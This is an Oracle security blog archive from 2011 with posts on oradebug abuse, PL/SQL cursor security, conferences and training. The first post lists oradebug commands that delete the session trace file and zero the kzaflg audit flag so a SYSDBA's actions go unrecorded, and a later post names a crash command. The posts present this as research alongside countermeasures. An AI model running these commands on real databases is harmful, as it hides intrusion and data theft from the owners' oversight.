September 21st, 2011 by Pete
Alex commented on my post about "
oradebug" about the select statement on x$ksmfsv which holds a list of all fixed variables amongst other things and joined it to x$ksmmem to get the absolute address in the SGA to check the value of the audit_sys_operations flag but this is not needed as the dumpvar command of oradebug can be used to get the value without any SQL. I also had a little play with the oradebug "call" command this evening after working and decided to think about Laszlo's idea of monitoring the generated trace files to see if oradebug is used.
Whilst we cannot bypass at least two calls to oradebug (the setting of the PID and delete of the trace) that will end up in a trace file we can ensure that evidence generated by oradebug is not generated so that it cannot be monitored - I am thinking like a hacker now not a protector because i want to understand the size of the issue.
So we can start a session:
SQL> oradebug setmypid
Statement processed.
SQL> oradebug tracefile_name
c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc
SQL> oradebug close_trace
Statement processed.
SQL> oradebug call system "del c:\app\pete\diag\rdbms\ora11gr2\ora11gr2\trace\ora11gr2_ora_3412.trc"
Function returned 0
SQL>
This now has removed the trace so we can turn audit off
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000001
SQL> oradebug setvar sga kzaflg 0
BEFORE: [6995874, 6995878) = 00000001
AFTER: [6995874, 6995878) = 00000000
SQL> oradebug dumpvar sga kzaflg
ub2 kzaflg_ [6995874, 6995878) = 00000000
SQL>
Now you can steal data, change data or whatever and nothing is recorded to trace including the above commands. This has utilised extra oradebug commands, "oradebug tracefile_name", "oradebug call" and potentially you could also use "oradebug flush" to make sure that the server does not retain any output and write it to the next session.
This means that whilst Laszlo's tool may trap the initial "oradebug setmypdi" and the "oradebug tracefile_name" and "oradebug call" it cannot trap any subsequent calls to turn off audit or anything else that the attacker may do with oradebug and of course SYSDBA trace is off.
The only solutions seem to be:
1) disable oradebug - this needs Oracles help but maybe there is an undocumented way to unlink the interface?
2) audit is not possible; trace is not reliable as stated above
3) stop any user from having SYSDBA apart from SYS
4) stop operating system users from having OSDBA apart from "oracle"
5) stop access to the server to prevent use of OSDBA/SYSDBA - not practical for everything
6) turn remote_login_passwordfile off to prevent remote SYSDBA via the password file
7) set an impossible password for SYS and only release it when needed.
8) force connections as SYSDBA to be remote so that network logging may be possible to capture oradebug commands
9) use keystroke loggers to capture what any OS user does as "oracle" and potentially SYSDBA
None of this is perfect and in lots of sites probably un-workable so a solution is needed from Oracle to secure oradebug. I think simply stopping audit from being disabled is probably not enough as the cat is out of the bag and other things will be done instead - like removing audit or trace with delete commands......
[
2 Comments]
September 21st, 2011 by Pete
Laszlo has published his slides from Hacktivity in Budapest last weekend where he shows how the Oracle undocumented oradebug command can be used to exploit the database; covering turning off authentication, turning off audit and more. His slides are
here. As usual Laszlo's research is excellent. The use of oradebug as a hacker tool is valid but you must be SYSDBA first to be able to use it; this is a sort of oxymoron. It is afterall a debugger interface to the Oracle Engine; any debugger is dangerous as often they include commands to modify running processes; in this case examples are show to modify memory and turn off audit for instance but as such it should be available to the most powerful user only and it is.
There are arguments that there are ways to escalate your privileges to SYSDBA but I doint accept these particular arguments as an issue with oradebug itself; they are of course an issue with whatever escalation technique you use to become SYSDBA not with oradebug. To protect against oradebug you must stop people becoming SYSDBA but that is a seperate task; but that is only part of the story. The valid risk is therefore about people who are authorised to connect as SYSDBA who may then use oradebug to do something naughty such as turn off audit and avoid any existing logging or audit of audit trails. They can of course turn audit off anyway without oradebug but it would be hoped that normal mechanisms are audited and that "turn off" at least would be captured.
The real danger with oradebug is that audit (in this example) can be turned off and its not audited. Therefore there is a risk. The only way to detect this would seem to be to watch trace files and look for oradebug commands but these trace files can be deleted by an attacker or DBA anyway. A network based solution to sniff for oradebug commands will work but not if oradebug is used from a local connection so it is flawed. SYSDBA audit from audit_sys_operations doesnt capture oradebug commands and system triggers do not work for SYSDBA, FGA also will not capture its use, the oradebug command is also not visible in the SGA. It is also not possible to turn oradebug off unless Oracle can provide a supported way to unlink it but i suspect even this could be bypassed if the protocol of the oradebug messages is simulated; based on the assumption that the actual debug hooks cannot be turned off from the server.One method to stop its use would be to "hook" the debugger functions and return without debugging but this would not be supported and unless its done in the server would not be of use.
I suspect Oracle may not see this as a big issue as you need to be SYSDBA but i think the main issue is that its virtually undetectable in its use and genuine SYSDBA users can do naughty things with oradebug. If there was a simpler way to audit oradebug use then yes I would agree its less of an issue but there doesn't seem to be one.
Laszlo has shown various uses for oradebug but what about the command "oradebug event immediate crash" - should be useful for an attacker to simply take down shadow processes or even system processes. Hacking is not always about stealing or escalation but sometimes about damage.
As always, great work from Laszlo!
[
2 Comments]
September 19th, 2011 by Pete
I spoke at the UKOUG special security day event last week at Bletchley Park just outside of Milton Keynes. We had a great agenda for the day which was focused on Data Security. We had Ian Glover of CREST and CLAS and also Bloodhound SSC as the keynote speaker; unfortunately I arrived at the end of Ian's talk but just in time to get the main points from his conclusion. Ian gave a great argument for structured testing of Oracle databases in a similar way that servers and networks are penetration tested in the UK by companies with CHECK team members and CHECK team leaders. In otherwords a repeatable service is provided so that organisations know they are getting a proper assessment of their security. The same is missing in the UK at least and probably most other countries. A centralised standard should be created that doesnt focus on hardening but instead focuses on securing data. This should be the basis in which companies secure their data and also which security companies test against. This would be a great move forward and would also be bolstered should there ever be a UK database security legislation that affects more databases that say PCI DSS, SoX etc do now.
Mary Ann Davidson, Oracle's CISO was next to speak and she gave a very good talk. She is quite open and realistic about security which is great to hear. The delegates also went on a tour around Bletchley Park where in the war years the team there cracked the German Enigma code machines. Then it was George Fyffe's turn to talk about Data Breaches and cyber Security.
Then I spoke. The focus of my talk was really the point that "It is not Oracle security it is data security". I wanted to really focus peoples attention onto where the data really is and who can really access it and therefore how a plan must be created to secure the data in all locations not simply by hardening a database using a checklist. The focus also should be on understanding what the current security status of the data is and then to establish a policy. You cannot secure data unless there is a basis to secure it to. In otherwords you have to know when to start securing and also when it is stopped - i.e. secured to the standard.
Finally Lindsay spoke about legislation and business drivers.
My slides are available on my
Oracle Security White Papers Page.
[
No Comments]
September 6th, 2011 by Pete
Ron Reidy will be teaching my 2 day class "
how to perform a security audit of an Oracle database" in Denver, CO, USA on November 10th and November 11th 2011. The class is a public course so if you are interested in attending please
contact Ron and register for the Oracle Security Class. The class price per student is $995.00 USD.
This is a great oppertunity to attend this class in the USA and Ron is a fantastic instructor with decades of experience.
[
No Comments]
July 6th, 2011 by Pete
I noticed a few days ago that David Litchfield had posted two new short papers on Oracle security; one is related to global cursors declared in PL/SQL packages, the other about cursor variable type SYS_REFCURSOR being passed out of functions/procedures. The first paper is "
The security impact of global cursors in Oracle PL/SQL" and the second is "
security considerations for SYS_REFCURSOR use in Oracle PL/SQL applications"
These are nice papers, are usual from David but I think the picture (security problem) is bigger than David indicates in his papers. I have been exploiting the fact that cursors are simply a pointer (underneath in the C code of OCI/UPI) to a struct that handles data access for many years. If you start out with Pro*C and OCI as i did you are used to handling cursors!
When i started to do security audits I wrote a scanner called "oscan" which is not public and never will be but a lot of the functionallity in terms of security tests, methods and security checks are now in PFCLScan. The "oscan" script is huge (over 45,000 lines of SQL*Plus, SQL, PL/SQL and some hosts commands) but its all driven from one start SQL*Plus script oscan-{ver}.sql. One thing I did in the master version script was to modularise the code so that regularly used features became seperate SQL*Plus files which are effectively functions called by setting parameters via SQL*Plus defines. I also wanted to centralise various features such as internal (to the script) security code, input/output and encryption of output and whilst a seperate SQL*Plus file with a dynamic block works for Oracle security tests it doesnt work as a "function" or "package" to call from within another dynamic block of PL/SQL, you cannot call a SQL*Plus script with @@script.sql from within PL/SQL!!. The one underlying remit of my codewas to not create objects in the database being scanned hence the code is essentially a very large bunch of anonymous blocks. But it would be nice also to have the ability to create functions or packages without the privileges to do so and also without actually doing it so that the database doesnt gain any new objects as part of an audit. A few years ago I came up with using cursors to simulate a procedure/function in a SQL*Plus script.
As i said the whole purpose was to centralise the functionallity of certain things; the key one being encrypting output that is normally written with dbms_output.put_line() or put_text(); i needed a centralised solution rather than edit a huge amount of scripts each time i used "oscan" so that i could change the key for every client or every run of the script - effectively a one-time-pad.
I wanted to do (pseudo code):
create procedure write_op(in string)
create function encrypt(in string) out string
begin
derive key
do some encryption on the string using key
return the encrypted string
end encrpt
begin
dbms_output.put_line(encrypt(in));
end
In this way i could use "sed" and replace all my calls to dbms_output.put_line() with calls to write_op() and have a centralised write function that could also encrypt output (or not) but also have key management in one place. You may question the key management in a dynamic script but remember its run once from a controlled laptop, a different key each time and the output is collected to my laptop. I can then decrypt off site.
I should stop and add thanks to Tanel Poder as his snapper script inspired me to be more creative with SQL*Plus scripts when i first saw it . I have used his ideas to imitate a C pre-compiler. Tanel has also implemented getopt which is great, i dont do this as I use accept to get input but its very nice code. Have a look at
Tanels script snapper.sql to see what i mean; this is one of the best SQL*Plus scripts around.
Back to the plot. I wanted to emulate the PL/SQL procedure above so i looked to cursors and dynamic blocks. I created a sqlplus variable to hold the cursor number and then a dynamic block to emulate the procedures above and within that block I parse the PL/SQL code that is the procedure - except its a dynamic block of code. I then use bind variables to pass in the string and within each use in other dynamic blocks do the bind and execute the cursor referenced by the SQL*Plus variable.
In most cases I was able to "sed" the code files and replace dbms_output.put_line('string') with begin dbms_sql.bind_variable(:c,':s','string'); :i:=dbms_sql.execute(:c); end; and it allowed me to have a global procedure used from thousands of other locations without needing to create an actual procedure.
Here is a simple example that illustrates the main process:
--
-- test of dynamic procedures for use in SQL*Plus
--
-- The aim is to emulate a procedure without creating it
-- --------------------------------------------------
-- Create the "procedure"
-- --------------------------------------------------
var lv_str varchar2(2000);
var curnum number;
-- null the string
exec :lv_str:='';
declare
begin
:curnum:=dbms_sql.open_cursor;
dbms_sql.parse(:curnum,'declare bv varchar2(2000):=:ipstr; begin dbms_output.put_line(bv);end;',dbms_sql.native);
end;
/
print curnum
-- -------------------------------------------------------
-- end of declaring the "procedure"
-- -------------------------------------------------------
-- -------------------------------------------------------
-- Call the dynamic procedure
-- -------------------------------------------------------
-- prime the string to print it
exec :lv_str:='hello world';
declare
n number;
begin
-- bind the variable
dbms_sql.bind_variable(:curnum,':ipstr',:lv_str);
n:=dbms_sql.execute(:curnum);
end;
/
-- --------------------------------------------------------
-- End of dynamic procedure call
-- --------------------------------------------------------
-- --------------------------------------------------------
-- Dynamic procedure call
-- --------------------------------------------------------
-- now try and write a second string
exec :lv_str:='Here is a second string';
declare
n number;
begin
-- bind the variable
dbms_sql.bind_variable(:curnum,':ipstr',:lv_str);
n:=dbms_sql.execute(:curnum);
end;
/
-- --------------------------------------------------------
-- End of dynamic procedure call
-- --------------------------------------------------------
-- finally close the cursor
begin
dbms_sql.close_cursor(:curnum);
end;
/
Running it gives:
SQL> @dyn_proc
PL/SQL procedure successfully completed.
PL/SQL procedure successfully completed.
CURNUM
----------
1760564375
PL/SQL procedure successfully completed.
hello world
PL/SQL procedure successfully completed.
PL/SQL procedure successfully completed.
Here is a second string
PL/SQL procedure successfully completed.
PL/SQL procedure successfully completed.
SQL>
Anyway the point of all of this digression is that Davids research is great but there is further potential for security issues. As you can see above simply passing out an integer from a procedure / function where that integer is the cursor ID is just as bad. That cursor ID can then be used to execute the cursor again or re-parse it or close it. I can do the same with an actual procedure and use the integer in DBMS_SQL
David also explicitly discussed SYS_REFCURSOR variables which are weak typed cursor variables but the potential for the same issue is there with any cursor variable. For instance you can declare a type as REF CURSOR and then declare a variable to be of that type and that variable if passed into/out of a function it is the same issue. Anyway the point is it doesnt need to be a variable of SYS_REFCURSOR to be vulnerable any cursor variable is vulnerable in the same way in that it can be re-parsed, re-bound, re-executed. This is the way they were designed to work!
In terms of solutions the simple answer would be to not create global cursors in package headers and hide them inside package bodys instead where they cannot be directly accessed. Passing cursor variables is harder to solve when weak typed cursor variables such as SYS_REFCURSOR are used ; its better to use strongly typed cursor variables where the return clase is matched to a specific business table/requirement that way the SQL thats opened must return the same signature. They can still be abused but the abuse is more limited to the signature. Idealy dont use cursor variables.
[
2 Comments]
June 24th, 2011 by Pete
Time flies by so fast..:-), its been two months since my last blog post but it only seems like yesterday...:-(, Times are very busy for me so blogging has become harder to fit in. Just writing a blog post seems like it should not take long but the whole process daunts so doesn't tend to get done.
In the meantime i have tried to spend a little more time on twitter as its easier to follow quickly (short posts!) and also i can post, retweet, reply etc when on the go via my mobile. I could blog via the mobile but its not comfortable to do so; twitter fills the bill much better at this stage.
Please follow petefinnigan on twitter to see my posts. I tend to follow security, reverse engineering, hacking, data breaches, some general stuff and a lot of Oracle people.
Out of interest I did some experiments on three blog posts a few months ago and promoted each via various social media sites such as twitter, facebook, linked in, plaxo... and by using tracking twitter won by two orders of magnitude in terms of click throughs over all of the others combined so certainly for me twitter seems to be a good platform for watching the news and also getting the news out fast.
I have agreed some new public training dates for my class
How to perform a security audit of an Oracle database; I will be teaching a two day class in
Zagreb, Croatia on October 26th and 27th 2011 and also the same
Oracle security audit class in Skopje, Macedonia on the 28th and 29th of September. We have also agreed a few private classes over the next months so public dates are limited because most of our time between training, consulting and audit engagements is reserved for work on our product PFCLScan and our latest product PFCLObfuscate - This is our product to protect IPR within PL/SQL within the database at a number of levels, in terms of protection of the script code itself and also wrap protection - more details on this soon - more products also planned!
OK, signing off, i will try and blog more often but keep up to date by following me on twitter.
[
No Comments]
April 20th, 2011 by Pete
David has released four new papers on Oracle security topics a few days ago. Two of the papers seem to be from his ill fated book on Oracle Forensics as they are labelled "
chapter 3 - How attackers break in" and "
chapter 4 - Preventing break ins" respectively but one is perhaps too short for a book.
The other two papers are on "
Oracle data blocks" and "
a forensic analysis of PL/SQL injection attacks in Oracle".
David has also released a new tool via his new company site V3rity which is free. The tool is a "
Data block examiner for Oracle"
[
No Comments]
March 3rd, 2011 by Pete
Marcel-Jan emailed me an article on arstechnica a few days ago and has now written a forum post titled "
How Anonymous hacked HBGary".
This is intersting reading and shows that simple techniques can be used to abuse systems. If anyone has heard me speak at conferences and also in training then they will know I like to propogate the idea that simple things let companies down data security wise. A good example would be a mythical company who had spent a lot of money implementing data security within the database including controls, audit, encryption, VPD, Label, even DAM but then leave key data available in other places such as on paper, email systems, development systems, test systems and more. The security of an Oracle database does not depend on the Oracle software; i.e. we cannot simply apply security patches and assume that the database is secured, neither can we simply follow know hardening guides and assume our "data" is secured. This is because Oracle is complex and part of implementing is for the implementor to add their own designs (tables, views, data, screens and of course security and management) This is not Oracle's job its the customers. We also have to consider the data itself, know where it is, who can access and then plan how we will create strategic and technical solutions to protect the data.
Simple issues make data insecure or in the case of this article a companies systems themselves and even emails being accessed. These simple issues include passwords; if you don't protect passwords, enforce strong passwords and ensure accountability is in place - Audit or DAM or ... then its easy to break in.
This article is an interesting read and should waken up those who need to secure their data. The techniques used were not rocket science but also at one level were clever. Hacking an email system and then emailing the sys admin to get access to a server whilst pretending through email to be someone else is clever but not technically difficult. This is why security is difficult; because we must consider all aspects of data loss and therefore data security.
[
No Comments]
